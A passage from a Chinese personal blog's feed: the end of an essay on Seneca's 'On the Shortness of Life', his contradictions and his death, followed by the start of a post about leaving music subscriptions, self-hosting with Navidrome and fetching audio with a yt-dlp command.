&lt;p&gt;曾被认为是塞内加的假塞内加像。符合人们对斯多葛派哲学家的幻想&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-3&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-3-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-3-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[3]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-3-content&quot;&gt;国内美术生似乎认为他是海盗，但国外一般认为他是赫西俄德。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;a href=&#x27;https:&#x2F;&#x2F;www.getty.edu&#x2F;art&#x2F;collection&#x2F;object&#x2F;109Q81&#x27;&gt;Digital
image courtesy of Getty’s Open Content Program.&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;figure&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;sen001-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;sen001-optim.jpg&quot;
	alt=&quot;Double Herm of Socrates and Seneca&quot;
	height=&quot;850&quot;
	width=&quot;710&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;figcaption&gt;
&lt;p&gt;真正的塞内加像。一看就是回扣吃多了。&lt;a href=&#x27;http:&#x2F;&#x2F;ancientrome.ru&#x2F;art&#x2F;artworken&#x2F;img.htm?id=3104&#x27;&gt;Sergey
Sosnovskiy，CC BY-SA 4.0&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;figcaption&gt;
&lt;&#x2F;figure&gt;
&lt;&#x2F;div&gt;
&lt;p&gt;塞内加的生活和他的作品完全是两码事。&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;哲人与权臣：尼禄宫廷里的塞内加》说：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;塞内加对言语和论据的巧妙操控使得他可以同时做到两件事情：阐述他的斯多葛理想，同时改善自己的政治形象。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;大约成文于公元&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的《致玛西娅的告慰书&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;（Consolation
to
Marcia，又译作《马尔齐亚的慰藉&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;）所采取的写作形式，是一封写给一位为死去的儿子悲伤的母亲的信，但塞内加写这封信的本意就是想要将其公布于众。塞内加一生都在玩这种修辞把戏，让他的读者们能够旁听这场看似私密的交流。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;虽然并没有什么证据去证明这个理论（塞内加出于自身利益去安慰玛西娅&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，但是这符合塞内加大部分作品展现出的机会主义模式。他对文字的掌控是如此娴熟，他的修辞技巧是如此精妙，以至于他很容易在助人的同时自助。现代读者面临的挑战是，如何在任何一部给定的作品当中，判断哪一种动机是最重要的。或许，塞内加自己常常也不清楚。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;那么他写作《论生命之短暂》的动机是什么？&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;公元&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;55&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年，由于阿格里皮娜的设计，塞内加在宫廷中遭遇挫败，此时阿格里皮娜已经与塞内加势如水火。为了炫耀自己的胜利，阿格里皮娜将自己的一个党羽——法伊尼乌斯・路福斯（Faenius
Rufus）任命为监粮长官，这就意味着塞内加的岳父保里努斯必须下台。这种贬职令塞内加和保里努斯都倍感难堪，除非这种行为可以被描述为一种自愿而高尚的事物：一种哲学上的避退。看来这在一定程度上成了塞内加写作《论生命的短暂》的目的，这篇论述是写给保里努斯的，以敦促他采取这种避退。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;这部论述的最后一部分是一个颇为巧妙的顾全颜面的设置，是现如今表示希望花更多时间陪伴家人的这种陈词滥调的更为崇高的版本。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这就是为什么塞内加“否定工作&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;：因为那封信就是为了给失去工作的岳父找台阶。&lt;&#x2F;p&gt;
&lt;p&gt;塞内加的信件不止有多重意图，还相互矛盾。我买的那本《论生命之短暂》是个信件集，收录了塞内加被克劳狄乌斯流放到科西嘉岛上后给母亲写的《致赫尔维亚的告慰书&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。那封信中他表示自己喜欢这个荒凉的流放地，金钱家产从来不是自己关心的。然而第二封信就使劲拍克劳狄乌斯的马屁，以期回到罗马：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;在塞内加流放时写的第二封公开信件中——这封信可能是在第一封公开信完成的一两年后写成的——他委婉而迫切地表示，他非常渴望克劳狄乌斯皇帝将他召回。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;塞内加在他第一封从科西嘉岛送出的信中所描述的闪耀着光辉的灵魂阿卡迪亚（Arcadia&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，在第二封信中已经化为乌有。他所生活的岛屿已不再是大自然的有益犒赏，而变成了一块条件严苛的贫瘠岩石。塞内加并没有直抒胸臆，而是表示，一位文明之士绝不能在这样的地方腐烂。塞内加从奥维德那里借鉴了一些伎俩，他为自己的行事鲁莽而道歉，并且声称，仅仅是听到那些野蛮人发言时表现出的粗鲁喧哗，就足以让他那聆听拉丁语的耳朵备受损害。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;他的《致波里比乌斯的告慰书&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;（Consdation to
Polybius）被几乎完好无损地保存下来，虽然塞内加本人或许并不希望如此。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;把塞内加作为富豪却讴歌赤贫、协助尼禄杀弟弑母的嫌疑先按下不表&lt;span class=&quot;halt&quot;&gt;，&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-4&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-4-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-4-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[4]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-4-content&quot;&gt;想看这些的直接去看《哲人与权臣：尼禄宫廷里的塞内加》吧。&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;他的作品到底值不值得读？&lt;&#x2F;p&gt;
&lt;p&gt;我的答案是值得：他是真正的道德家还是骗子对我来说并无所谓、公开信的真正意图也无所谓。只要我有所收获，即可——鱼有刺，就不吃鱼了？把不好的东西剃掉不就得了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;哲人与权臣》里也有类似的评判：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;最后，塞内加是人，他有人性的污点和缺陷，这是人之常情。正如他在数次辩解中的某一次所暗示的那样，他并非完人，而是胜于庸劣。这对于许多读者而言也就足够了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;说实话，当提到“讴歌贫穷的富豪”时我第一个想到的是“我一点也不喜欢钱”的马云。现在他在互联网上被斗倒斗臭、全盘否定了，但我仍然认为他有值得学习的地方。当然了，&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;Vīta
brevis, ars
longa&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，我是懒得在他身上挑优点。塞内加的作品毕竟是经过小两千年了还在印刷；马云也许到下个世纪就没人提了。&lt;&#x2F;p&gt;
&lt;p&gt;其实罗翔也很像塞内加：都言行不一，都善于向公众讲述高尚的品德。我对罗翔的看法也和对塞内加的看法一致：吸收好的，剔除坏的。所以有时还是会点开他的视频，看看能不能淘点金子出来。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;《&lt;&#x2F;span&gt;哲人与权臣》里引用了昆体良的话来总结塞内加的文学风格以及他令人疑惑的品质。我觉得这几段话也能用在马云、罗翔身上：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;他的身上有很多值得我们赞许的地方，甚至也有很多值得我们钦佩的地方。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;只要在做出选择时谨慎一点就行了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;要是他当初也是这么谨慎小心就好了。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;真正严肃的哲学问题只有一个……&quot;&gt;真正严肃的哲学问题只有一个……&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;对于自杀的狂热赞颂是塞内加思想中的第二个重要标志。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;后世认为塞内加的名字取得恰如其分，因为“塞内加”这个名字可能源于拉丁短语“自我了断&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;（se
necare&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我说过我很关心作品的结局，其实我也同样关注作者的结局。如果在谈论塞内加的闹剧时不讲述他的结局，就像聊家常菜时不说小炒黑木耳。&lt;&#x2F;p&gt;
&lt;p&gt;在收到推翻尼禄的邀请后，塞内加既没加入也没拒绝，只是回复了模棱两可的“自己的福祉将取决于披索（密谋者准备推选的下一任元首）的安危&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;事情败露后，塞内加期待尼禄判他流放，不过尼禄并不想让他活下去，所以塞内加只得自杀。这位赞颂自杀的哲学家先是划开自己的血管——失血身亡太慢，他甚至向书记员口述了最后一部作品（狄奥说是一部家喻户晓的反尼禄作品，但现在没人知道是哪一部&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;——然后塞内加又饮下了（为模仿苏格拉底而准备的）毒芹汁，仍然没死。最后他没办法，走进了浴池里，死于蒸汽窒息——死前还不忘模仿苏格拉底向神灵致敬。&lt;&#x2F;p&gt;
&lt;p&gt;谣言说一些禁卫军打算等披索上位后杀掉披索，拥立塞内加。也许在某个平行宇宙中塞内加成为了元首，那哲学王的名号就要归于塞内加，而不是奥勒留了。&lt;&#x2F;p&gt;
&lt;p&gt;本小节的标题和加缪没关系，我只是因为自杀而想起了这句话而已。塞内加不可能纠结生命是否值得过，他曾在《梯厄斯忒斯》里表达过自己的心声：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;对生命的贪婪是他拒绝赴死，和那垂死的世界一起消亡的原因。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;所以生命到底短不短？&quot;&gt;所以生命到底短不短？&lt;&#x2F;h2&gt;
&lt;p&gt;短，如果需要精打细算才能显得长的话，那就是短。&lt;&#x2F;p&gt;
&lt;p&gt;洗碗时突然想起《格列佛游记》里描述了一种长生的人。虽然长生，但没有不老。他们衰老到无法阅读，衰老到无法学习，最后连和他人交流也做不到了：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The language of this country being always upon the flux, the
Struldbrugs of one age do not understand those of another; neither are
they able, after two hundred years, to hold any conversation (farther
than by a few general words) with their neighbours the mortals; and
thus they lie under the disadvantage of living like foreigners in
their own country.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这么一想，不只是生命很短，而且是青壮年时期很短。决定了！明天开始给自己&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;bbs.saraba1st.com&#x2F;2b&#x2F;thread-2109062-1-1.html&quot;&gt;打叶绿素&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;记录自己的生活&quot;&gt;记录自己的生活&lt;&#x2F;h2&gt;
&lt;p&gt;记录生活并不一定能让生活变得好过，我写日记只是因为我喜欢笔尖摩擦纸的感觉。但如果以生活也需要练习，而日记相当于错题本的角度去想的话，那记录生活就有益处了&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-5&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-5-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-5-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[5]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-5-content&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;pvvq.cc&#x2F;daily&#x2F;2022&#x2F;#后记&quot;
class=&quot;uri&quot;&gt;https:&#x2F;&#x2F;pvvq.cc&#x2F;daily&#x2F;2022&#x2F;#&lt;span
class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;后记&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;p&gt;
&lt;p&gt;其实记录生活的方式不止有写日记、发朋友圈。把浏览器的历史记录、手环的心跳记录、地图和照片的位置记录、银行的消费记录等等在暗处不断累积的记录导出来，也是记录生活的一种方式（要导出来才算，不导出来的话只是别人记录你&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;理论上来说，收集的记录越充分，就越了解你自己。在日后做判断时，也就有更贴近自己的标准。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;krausefx.com&#x2F;blog&#x2F;how-i-put-my-whole-life-into-a-single-database&quot;&gt;网上有个神人在四年间记录了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;380,000&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;项关于自身的数据，生成了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;42&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;张眼花缭乱的图表。&lt;&#x2F;a&gt;我十分佩服这位，然而他在网站上特意突出了这句话：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;The main conclusion is that it is not worth building your own
solution, and investing this much time.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;我其实也曾痴迷于记录自己的时间——用一款叫&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;toggl.com&#x2F;&quot;&gt;toggl&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的软件。后来发现我只记录，不分析，所以很少用了。对我来说，用笔划拉纸的方法不仅够用，而且令人开心。博客的话，其实是能贴图片的日记。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;vita-brevis
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;vita-brevis&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>再见，所有的音乐订阅</title>
    <published>2022-11-30T21:23:43+00:00</published>
    <updated>2023-08-20T15:25:59+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/good-bye-music-subscriptions/" type="text/html" />
    <id>https://emptystack.top/good-bye-music-subscriptions/</id>
    <content type="html">
      &lt;p&gt;我厌倦了音乐订阅：每月付钱从残缺的曲库里借歌听，即使点击了“添加到库中”的歌曲也可能会没法再次收听。音乐不同于游戏，是要被反复使用的，所以最好还是放在自己的电脑里由自己掌控。正巧前段时间看上了可以自托管的音乐服务器&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;navidrome&#x2F;navidrome&quot;&gt;Navidrome&lt;&#x2F;a&gt;，告别音乐订阅的念头再一次出现了。&lt;&#x2F;p&gt;
&lt;p&gt;2023-12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;注：推荐和续篇《&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dr-musicuration&#x2F;&quot;&gt;音乐管理博士，或：我如何停止担忧并爱上甜菜&lt;&#x2F;a&gt;》搭配阅读。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#获取音乐文件&quot;&gt;获取音乐文件&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#以前&quot;&gt;以前&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#现在&quot;&gt;现在&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#悔不当初&quot;&gt;悔不当初&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#整理&quot;&gt;整理&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#Beets&quot;&gt;Beets&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#编辑MusicBrainz&quot;&gt;编辑MusicBrainz&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#关于封面的插曲&quot;&gt;关于封面的插曲&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#播放&quot;&gt;播放&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;good-bye-music-subscriptions&#x2F;#Bonus_Track：今年的苹果音乐统计&quot;&gt;Bonus Track：今年的苹果音乐统计&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;获取音乐文件&quot;&gt;获取音乐文件&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;以前&quot;&gt;以前&lt;&#x2F;h3&gt;
&lt;p&gt;第一次想要整理自己的曲库时谷歌尚在国内运营谷歌音乐。我发现在谷歌音乐上下载的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MP3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;在播放时会显示专辑封面，而百度音乐上下载的不会显示。当时不知道这是为什么，只觉得谷歌音乐更好，因此在谷歌音乐上下载了常听的音乐——现在回想起来，大概有《News
of the
World&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;（我对&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;musicbrainz.org&#x2F;release&#x2F;d9f31858-05dc-49b3-b8c3-5f9558168369&#x2F;cover-art&quot;&gt;那张专辑的封面&lt;&#x2F;a&gt;印象深刻&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;谷歌音乐不行后，网易云音乐站起来了。自然，切换到网易云音乐后，我就用它来下载&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MP3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了。不过我现在找不到当时下的资源，甚至不能用网易云音乐了。而且即使能用网易云音乐，现在也不能直接下载平台自由的音乐文件。所以，我又得重新获取音乐文件了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;现在&quot;&gt;现在&lt;&#x2F;h3&gt;
&lt;p&gt;抛弃网易云后我转向了苹果音乐，并且一直用到现在。因此目前最理想的收集音乐方法就是从苹果音乐里下载——只是，苹果不让用户这么做。&lt;&#x2F;p&gt;
&lt;p&gt;网上有付费软件让你从苹果音乐“下载”MP3，但实质上是在后台给苹果音乐录音。我对这种做法的音频质量有所怀疑。况且掏钱买盗版怎么想怎么奇怪。所以这种方法被我否了。&lt;&#x2F;p&gt;
&lt;p&gt;最直接的方法当然是破解苹果的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;DRM。&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;VictorM96&#x2F;AppleMusic-Downloader&quot;&gt;GitHub&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上有个仓库貌似是做这个的&lt;&#x2F;a&gt;，但缺少一些代码所以没法运行。遗憾，看来音频收藏社区不像书籍收藏社区那么流行&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;DeDRM。&lt;&#x2F;p&gt;
&lt;p&gt;再然后我又找到了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;miraclx&#x2F;freyr-js&quot;&gt;读取苹果音乐元数据后从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上下载相似歌曲的工具&lt;&#x2F;a&gt;。这是一个好思路，因为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上有好多唱片公司提供的音频，而且&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube
Music&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;据说也是用那些音频处理后做成的服务。所以&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上那些官方音频音质大概不会太差。不过，那工具是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;写的——我讨厌&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JS，所以不想用那个工具。&lt;&#x2F;p&gt;
&lt;!--TODO下面的前括号因为是Str第一个被错误被挤压了--&gt;
&lt;!--既然决定了要从YouTube上下载资源，那什么工具也比不上[yt-dlp](https:&#x2F;&#x2F;github.com&#x2F;yt-dlp&#x2F;yt-dlp)（上一段提到的工具[也是用它下载的](https:&#x2F;&#x2F;github.com&#x2F;miraclx&#x2F;freyr-js&#x2F;blob&#x2F;740c54c4cc9b07dd218ad474e789aa94346af213&#x2F;package.json#L91)）。--&gt;
&lt;p&gt;既然决定了要从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上下载资源，那什么工具也比不上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;yt-dlp&#x2F;yt-dlp&quot;&gt;yt-dlp&lt;&#x2F;a&gt;。下载质量最佳的音频，只要用下面的命令（其实它不止能下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube，还能下&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;BiliBili&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;yt-dlp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; -f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; bestaudio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --extract-audio --add-metadata \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;       --sleep-interval&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 10&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; --max-sleep-interval&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 90&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;       --download-archive&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; downloaded.txt&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt; \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;       &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;$url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果只下一首歌，可以把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;sleep&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的选项去掉。我经常下好几首，害怕&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;YouTube&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把我当机器人，所以在每次下载之间等&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;10&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;90&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;秒，假装在回味音乐。&lt;&#x2F;p&gt;
